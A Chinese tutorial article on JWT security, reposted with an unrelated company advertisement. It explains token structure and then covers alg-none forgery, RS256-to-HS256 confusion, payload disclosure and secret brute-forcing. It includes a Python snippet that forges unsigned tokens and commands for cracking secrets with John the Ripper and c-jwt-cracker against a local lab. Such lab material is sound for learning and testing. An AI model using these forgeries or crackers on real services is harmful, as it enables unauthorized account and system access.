本文小編為大家詳細(xì)介紹“JWT安全怎么配置”,內(nèi)容詳細(xì),步驟清晰,細(xì)節(jié)處理妥當(dāng),希望這篇“JWT安全怎么配置”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學(xué)習(xí)新知識吧。
為萍鄉(xiāng)等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù),及萍鄉(xiāng)網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)、萍鄉(xiāng)網(wǎng)站設(shè)計,以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!
傳統(tǒng)的session認(rèn)證,隨著不同客戶端用戶的增加,獨立的服務(wù)器已無法承載更多的用戶,而這時候基于session認(rèn)證應(yīng)用的問題就會暴露出來.例如而隨著認(rèn)證用戶的增多,服務(wù)端的開銷會明顯增大,這樣在分布式的應(yīng)用上,相應(yīng)的限制了負(fù)載均衡器的能力,因為是基于cookie來進行用戶識別的, cookie如果被截獲,用戶就會很容易受到跨站請求偽造的攻擊。
基于token的鑒權(quán)機制類似于http協(xié)議也是無狀態(tài)的,它不需要在服務(wù)端去保留用戶的認(rèn)證信息或者會話信息。這就意味著基于token認(rèn)證機制的應(yīng)用不需要去考慮用戶在哪一臺服務(wù)器登錄了,這就為應(yīng)用的擴展提供了便利。
2定義
JWT(JSON Web Token) 是一個非常輕巧的規(guī)范,通過這個規(guī)范,可以傳遞可靠的安全信息,JWT常被用于前后端分離,可以和Restful API配合使用,常用于構(gòu)建身份認(rèn)證機制。
Json web token (JWT), 是為了在網(wǎng)絡(luò)應(yīng)用環(huán)境間傳遞聲明而執(zhí)行的一種基于JSON的開放標(biāo)準(zhǔn)((RFC 7519).該token被設(shè)計為緊湊且安全的,特別適用于分布式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務(wù)提供者間傳遞被認(rèn)證的用戶身份信息,以便于從資源服務(wù)器獲取資源,也可以增加一些額外的其它業(yè)務(wù)邏輯所必須的聲明信息,該token也可直接被用于認(rèn)證,也可被加密。
3組成
一個字符串由頭部,載荷,簽名三部分組成。
頭部(Header)用于描述JWT的最基本的信息,其所用的簽名與算法類似這樣{ "typ": "JWT", "alg": "HS256"}通過base64 編碼之后,形成頭部
載荷(Payload)也是json形式的,官方定義的有如下六個部分{ "sub": "1", //該JWT所面向的用戶 "iss": "http://localhost:8000/auth/login", //該JWT的簽發(fā)者 "iat": , //iat(issued at): 在什么時候簽發(fā)的token "exp": , //exp(expires): token什么時候過期 "nbf": , //nbf(not before):token在此時間之前不能被接收處理 "jti": "" //JWT ID為web token提供唯一標(biāo)識}當(dāng)然,開發(fā)者可以定義自己使用的數(shù)據(jù)。以上json數(shù)據(jù)base64編碼之后,形成載荷。
簽名將上面的兩個編碼后的字符串都用句號.連接在一起 提供一個密鑰(secret)用頭部所規(guī)定的算法加密就可以形成一個新的字符串同樣,需要base64編碼
以上將三個部分用 .拼接在一起,就形成了一個完整的JWT令牌
可上面介紹了那么多,大家依然不知道JWT到底是干嘛的,稍微介紹一下JWT的驗證方式方式,大家應(yīng)該就應(yīng)該會對JWT的運用有所了解了
服務(wù)器應(yīng)用在接受到JWT后,會首先對頭部和載荷的內(nèi)容用同一算法再次簽名。如果服務(wù)器應(yīng)用對頭部和載荷再次以同樣方法簽名之后發(fā)現(xiàn),自己計算出來的簽名和接受到的簽名不一樣,那么就說明這個Token的內(nèi)容被別人動過的,我們應(yīng)該拒絕這個Token
上面說了JWT的組成,我們的目的是研究其安全性既然這是一個驗證的機制,那么安全問題主要就是非授權(quán)訪問,也就是說要繞過這種驗證機制,已知其結(jié)構(gòu),數(shù)據(jù)一般也是存在本地端,我們唯一不知道的就是加密算法的密鑰,這樣說來,有如下幾種安全問題。
1修改算法為none
修改算法有兩種修改的方式其中一種就是將算法就該為none
后端若是支持none算法
header中的alg字段可被修改為none
去掉JWT中的signature數(shù)據(jù)(僅剩header + '.' + payload + '.') 然后直接提交到服務(wù)端去
2修改算法RS256為HS256
RS256是非對稱加密算法,HS是對稱加密算法
如果jwt內(nèi)部的函數(shù)支持的RS256算法,又同時支持HS256算法
如果已知公鑰的話,將算法改成HS256,然后后端就會用這個公鑰當(dāng)作密鑰來加密
3信息泄露
JWT是以base64編碼傳輸?shù)?,雖然密鑰不可見,但是其數(shù)據(jù)記本上是明文傳輸?shù)?,如果傳輸了重要的?nèi)容,可以base64解碼然后獲取其重要的信息。
4爆破密鑰
原理就是,如果密鑰比較短的話,已知加密算法,通過暴力破解的方式,可以得到其密鑰。
搭建方式
我搭建的環(huán)境為php7
安裝了composer
直接用如下的命令進行搭建漏洞環(huán)境
git clone https://github.com/Sjord/jwtdemo/
cd jwtdemo
composer install
php -S 0.0.0.0:8000 -t public
然后直接訪問
127.0.0.1:8000/hs256.php
環(huán)境就搭建成功了。
payload如下
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
通過如上代碼,可以構(gòu)造任意的密鑰為none的paylaod,從而繞過后端的檢查,修改與RS256的方法與此類似,不再贅述。
1JohnTheRipper
在爆破JWT的時候,可以用如下如下工具
https://github.com/magnumripper/JohnTheRipper
使用的方法如下
git clone https://github.com/magnumripper/JohnTheRipper
cd JohnTheRipper/src
./configure
make -s clean && make -sj4
cd ../run
./john jwt.txt
2c-jwt-cracker
C語言的破解工具
https://github.com/brendan-rius/c-jwt-cracker
使用方法如下
make
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
讀到這里,這篇“JWT安全怎么配置”文章已經(jīng)介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領(lǐng)會,如果想了解更多相關(guān)內(nèi)容的文章,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。